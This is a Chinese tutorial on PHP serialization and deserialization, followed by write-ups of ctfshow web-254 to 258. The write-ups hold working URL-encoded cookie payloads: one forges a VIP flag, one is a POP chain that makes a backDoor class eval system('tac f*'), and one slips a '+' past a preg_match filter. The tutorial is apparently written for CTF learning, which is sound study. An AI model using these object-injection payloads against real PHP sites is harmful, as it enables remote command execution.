php反序列化
一、序列化基础知识
1、序列化的作用
序列化(Serialization)是将对象的状态信息(属性)转换为可以存储或传输的形式的过程。
对象——————>字符串
将对象或者数组转换为可存储/运输的字符串
2、表达方式
<?php $a = null; echo serialize($a); ?>
所有格式第一位都是数据类型的英文字母简写。
空字符: null——————————>N;
整型: 666 ——————————>i:666;
浮点型: 66.6——————————>d:66.6;
Boolean型:true——————————>b:1;
false—————————>b:0;
字符串: 'benben'————————>s:6:"benben";
数组:
<?php
$a = array('benben','dazhaung','laoliu');
echo serialiaze($a);
?>
结果: aarray:3参数数量:{i:0数组编号:sstring类型:6字符串个数:"benben";i:1:s:8:"dazhuang";i:2:s:6:"laoliu"}
3、对象的序列化
<?php
class test{
public $pub='benben'; //定义成员变量
function jineng(){ //定义成员函数
echo $this->pub;
}
}
$a = new test();
echo serialize($a);
?>
结果:Oobject:4类名长度:"test"类名:1变量数量:{s:3变量名字长度:"pub"变量名字;s:6值的长度:"benben"变量值;}
注意:不能序列化类;可以序列化对象
只序列化成员变量;不序列化成员函数
<?php
class test{
private $pub='benben';
function jineng(){
echo $this->pub;
}
}
$a = new test();
echo serialize($a);
?>
结果:O:4:"test":1:{s:9:"testpub";s:6:"benben";}
我们发现private私有属性会在变量名字前面加上当前所在的类名。
但是我们注意到,"testpub"明明是七个字符,为什么结果显示的却是9呢?
这是因为private私有属性序列化时,在变量名前加“%00类名%00”,所以应该是7+2=9个。(当我们用url编码结果时就会发现test前后多了%00,即空字符)
<?php
class test{
protected $pub='benben';
function jineng(){
echo $this->pub;
}
}
$a = new test();
echo serialize($a);
?>
结果:O:4:"test":1:{s:6:"*pub";s:6:"benben";}
protected受保护属性序列化时,在变量名前加%00*%00
<?php
class test{
var $pub='benben';
function jineng(){
echo $this->pub;
}
}
class test2{
var $ben;
}
$b = new test();
$a = new test2();
$a->ben = $b;
echo serialize($a);
?>
结果:O:5:"test2":1:{s:3:"ben";O:4:"test":1:{s:3:"pub";s:6:"benben";}}
实例化后的对象$a的成员变量'ben'调用实例化后的对象$b。
二、反序列化特性
1、反序列化之后的内容为一个对象。
2、反序列化生成的对象里的值,由反序列化里的值提供,与原有类预定义的值无关。
3、反序列化不触发类的成员方法(成员函数)(魔术方法除外),需要调用方法后才能触发。
三、魔术方法的构造和解析
__construct() 类的构建函数 __destruct() 类的析构函数 __call() 在对象中调用一个不可以访问方法时调用 __callStatic() 用静态方式中调用一个不可以访问方法时调用 __get() 获得一个类的成员变量时调用 __isset() 当对不可访问属性调用isset()或empyt()时调用 __set() 设置一个类的成员变量时调用 __unset() 当对不可访问属性调用unset()时被调用 __sleep() 执行serialize()时,先会调用这个函数 __wakeup() 执行unserialize()时,会先调用这个函数 __toString() 类被当成字符串时的回应方法 __invoke() 调用函数的方式调用一个对象时的回应方法 __set_state() 调用var_export()导出类时,此静态方法被调用 __clone() 当对象复制完成时调用 __autoload() 尝试加载未定义的类 __debuginfo() 打印所需调式信息
1、什么是魔术方法
一个预定义好的,在特定情况下自动触发的行为方法。
2、魔术方法的作用
反序列化漏洞的成因:
反序列化的过程中,unserialize()接收的值(字符串)可控;
通过更改这个值(字符串),得到所需要的代码;
通过调用方法,触发代码执行。
魔术方法的作用就是在特定条件下自动调用相关方法,最终导致触发代码
3、魔术方法相关机制
1、触发机制(动作不同,触发的魔术方法也不同)
2、功能
3、参数(一些特殊魔术方法会传参)
4、返回值
ctfshow-web入门-反序列化
web-254
代码
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-02 17:44:47
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-02 19:29:02
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public function checkVip(){
return $this->isVip;
}
public function login($u,$p){
if($this->username===$u&&$this->password===$p){
$this->isVip=true;
}
return $this->isVip;
}
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
echo "your flag is ".$flag;
}else{
echo "no vip, no flag";
}
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
$user = new ctfShowUser();
if($user->login($username,$password)){
if($user->checkVip()){
$user->vipOneKeyGetFlag();
}
}else{
echo "no vip,no flag";
}
}
分析
本关并不涉及魔术方法,也没有涉及反序列化的字符,就是单纯的了解一下代码流程,为之后的反序列化代码分析打下基础。
首先构造了三个方法(成员函数)checkVip、login、vipOneKeyGetFlag;
之后定义了两个GET参数:uesrname和password;
再之后实例化了user这个类,并且进入if判断中:如果user执行login函数并且返回true,那么uesr就再执行checkVip这个函数,如果返回值还是true,则再执行vipOneKeyGetFlag函数。
看vipOneKeyGetFlag函数的具体内容我们就可以知道这是输出flag的函数,所以本题我们要使这三个判断都为true即可。
而ctfShowUser这个类最开始便定义了username和password这两个变量的值为'xxxxxx',所以本题答案即为
GET: ?username=xxxxxx&password=xxxxxx

web-255
代码
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-02 17:44:47
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-02 19:29:02
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public function checkVip(){
return $this->isVip;
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
echo "your flag is ".$flag;
}else{
echo "no vip, no flag";
}
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
$user = unserialize($_COOKIE['user']);
if($user->login($username,$password)){
if($user->checkVip()){
$user->vipOneKeyGetFlag();
}
}else{
echo "no vip,no flag";
}
}
分析
本关的代码与上一关很相似,不过有两处不同。
第一处区别是login函数中少了一步将isVip由false变成true的操作;
第二处区别是对user类Cookie参数进行了反序列化。
通过上一关的分析我们可以知道,只有当if判断的返回值都为true时,我们才能得到flag,但是本关中isVip恒为false,并且login函数无法再将isVip更改为ture,所以我们要想得到flag就必须将false改为true。
其次代码中是直接将user类的Cookie传参进行反序列化的,但代码之前并没有先将类进行序列化,所以反序列化之后无法得到正确的类,因此我们应该先将Cookie进行序列化,之后再反序列化,这样才能得到正确的类。
(要注意的是,对Cookie进行序列化时要先进行url编码。因为对于 Cookie,由于它经常用于存储用户会话信息等,而这些信息可能包含各种字符,包括一些在 URL 中有特殊含义的字符,比如空格、等号等。如果不对这些特殊字符进行编码,就有可能导致 URL 解析出错,从而影响到服务器端对 Cookie 的正确处理。)
综上,我们可以将代码复制到php文档,将isVip由false改为true,同时echo经过url编码和序列化的Cookie。
<?php
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=ture;
}
$a=serialize(new ctfShowUser());
echo urlencode($a);
运行之后得到url编码。

之后输入Cookie和GET传参即可
GET: ?username=xxxxxx&password=xxxxxx cookie: user=O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A8%3A%22password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A5%3A%22isVip%22%3Bs%3A4%3A%22ture%22%3B%7D

web-256
代码
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-02 17:44:47
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-02 19:29:02
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public function checkVip(){
return $this->isVip;
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
if($this->username!==$this->password){
echo "your flag is ".$flag;
}
}else{
echo "no vip, no flag";
}
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
$user = unserialize($_COOKIE['user']);
if($user->login($username,$password)){
if($user->checkVip()){
$user->vipOneKeyGetFlag();
}
}else{
echo "no vip,no flag";
}
}
分析
本关代码和上关基本一致,只有vipOneKeyGetFlag函数多了一步if判断。
如果username和password不相等,才会输出flag。
所以我们只需要让GET传入的username和password值不同就可以了。
(注意:由于username或password的值改变,所以php文件中的值也要修改,不然运行得到的Cookie是错误的,血与泪的教训。)
GET: ?username=xxxxxx&password=xxx Cookie: user=O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A8%3A%22password%22%3Bs%3A3%3A%22xxx%22%3Bs%3A5%3A%22isVip%22%3Bs%3A4%3A%22ture%22%3B%7D

web-257
代码
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-02 17:44:47
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-02 20:33:07
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
highlight_file(__FILE__);
class ctfShowUser{
private $username='xxxxxx';
private $password='xxxxxx';
private $isVip=false;
private $class = 'info';
public function __construct(){
$this->class=new info();
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function __destruct(){
$this->class->getInfo();
}
}
class info{
private $user='xxxxxx';
public function getInfo(){
return $this->user;
}
}
class backDoor{
private $code;
public function getInfo(){
eval($this->code);
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
$user = unserialize($_COOKIE['user']);
$user->login($username,$password);
}
分析
本题相对于上几关来说难了一些,因为这次有了魔术方法。
我们先来观察代码有什么变化:
在ctfShowUser类中,多了一个名为class的属性,并且构造了__construct_和__destruct两个魔术方法;
其次构造了两个新的类info和baackDoor。
我们首先来分析新构造的两个类:
info类中定义了一个名为user的属性,并且它的值为xxxxxx;之后定义了一个成员方法getInfo(),它会返回user的值。
backDoor类中定义了一个名为code的属性;之后也定义了一个成员方法getInfo(),但是它含有eval()函数,会将code的值当作一个php代码来执行。
接下来我们来分析ctfShowUser类:
当新创建(new)类时,会执行__construct函数,从而新建一个info()类,并将其实例赋值给class;
当没有任何变量或引用指向一个对象时,该对象就会被销毁,这时就会执行__destruct函数,从而执行 info 类中的 getInfo() 方法,并返回其结果。
通过分析我们可以知道,本题的关键点在于backDoor类中的eval()函数,而执行eval()函数要先执行getInfo()方法,而执行getInfo()方法必须先创建backDoor类。而我们发现这一套流程正好与__construct和__destruct这两个魔术方法的内容吻合。
根据这一思路,我们只要将__construct中新建的类由info改为backDoor,之后给backDoor类中的code赋值为php代码即可。
<?php
class ctfShowUser{
private $username='xxxxxx';
private $password='xxxxxx';
private $isVip=false;
private $class = 'info';
public function __construct(){
$this->class=new backDoor();
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function __destruct(){
$this->class->getInfo();
}
}
class backDoor{
private $code="system('tac f*');";
public function getInfo(){
eval($this->code);
}
}
echo urlencode(serialize(new ctfShowUser()));
得到url编码

构造payload
GET: ?username=xxxxxx&password=xxxxxx Cookie: user=O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A21%3A%22%00ctfShowUser%00username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A21%3A%22%00ctfShowUser%00password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A18%3A%22%00ctfShowUser%00class%22%3BO%3A8%3A%22backDoor%22%3A1%3A%7Bs%3A14%3A%22%00backDoor%00code%22%3Bs%3A17%3A%22system%28%27tac+f%2A%27%29%3B%22%3B%7D%7D

(这里有一个问题就是如果我使用"cat f*"得到的url编码是无法得到flag的,但是换成tac就可以,不知道为什么)
web-258
代码
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-02 17:44:47
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-02 21:38:56
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
highlight_file(__FILE__);
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public $class = 'info';
public function __construct(){
$this->class=new info();
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function __destruct(){
$this->class->getInfo();
}
}
class info{
public $user='xxxxxx';
public function getInfo(){
return $this->user;
}
}
class backDoor{
public $code;
public function getInfo(){
eval($this->code);
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
if(!preg_match('/[oc]:\d+:/i', $_COOKIE['user'])){
$user = unserialize($_COOKIE['user']);
}
$user->login($username,$password);
}
分析
本关代码与上一关基本一致,只有最后多了一步if判断。
if(!preg_match('/[oc]:\d+:/i', $_COOKIE['user']))
这段代码使用了正则表达式来检查 $_COOKIE['user'] 中是否包含类似 [字母]:数字: 这样的字符串,其中 [字母] 是 o 或 c,[数字] 是一个或多个数字。
具体来说,正则表达式 /[oc]:\d+:/i 的含义如下:
-
[oc]:匹配字符集中的任何一个字符,其中包括o和c。 -
::匹配一个冒号字符。 -
\d+:匹配一个或多个数字。 -
::再次匹配一个冒号字符。 -
/i:表示执行不区分大小写的匹配。
因此,这个正则表达式会匹配形式为 [字母]:数字: 的字符串,其中 [字母] 是 o 或 c,而 [数字] 是一个或多个数字。
通过这段代码,如果 $_COOKIE['user'] 中包含形如 [字母]:数字: 的字符串,则 preg_match() 函数将返回 true,否则返回 false。
因此本关只需要我们进行正则绕过,剩下的参考上一关即可。
我们先看一看序列化内容是什么:
<?php
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public $class = 'info';
public function __construct(){
$this->class=new backDoor();
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function __destruct(){
$this->class->getInfo();
}
}
class info{
public $user='xxxxxx';
public function getInfo(){
return $this->user;
}
}
class backDoor{
public $code="system('tac f*');";
public function getInfo(){
eval($this->code);
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
if(!preg_match('/[oc]:\d+:/i', $_COOKIE['user'])){
$user = unserialize($_COOKIE['user']);
}
$user->login($username,$password);
}
$a = serialize(new ctfShowUser());
echo $a;
得到序列化后的内容:
O:11:"ctfShowUser":4:{s:8:"username";s:6:"xxxxxx";s:8:"password";s:6:"xxxxxx";s:5:"isVip";b:0;s:5:"class";O:4:"info":1:{s:4:"user";s:6:"xxxxxx";}}
其中有两处需要修改:O:11:和s:8:
因此我们在代码最后加上
$a = serialize(new ctfShowUser());
$b = str_replace(':11', ':+11', $a);
$c = str_replace(':8', ':+8', $b);
echo urlencode($c);
得到url编码

从而构造payloda:
GET: ?username=xxxxxx&password=xxxxxx Cooike: user=O%3A%2B11%3A%22ctfShowUser%22%3A4%3A%7Bs%3A%2B8%3A%22username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A%2B8%3A%22password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A5%3A%22isVip%22%3Bb%3A0%3Bs%3A5%3A%22class%22%3BO%3A%2B8%3A%22backDoor%22%3A1%3A%7Bs%3A4%3A%22code%22%3Bs%3A17%3A%22system%28%27tac+f%2A%27%29%3B%22%3B%7D%7D

至于为什么添加加号可以正常序列化,php处理反序列化的函数的c源码可以解释:

2074

被折叠的 条评论
为什么被折叠?



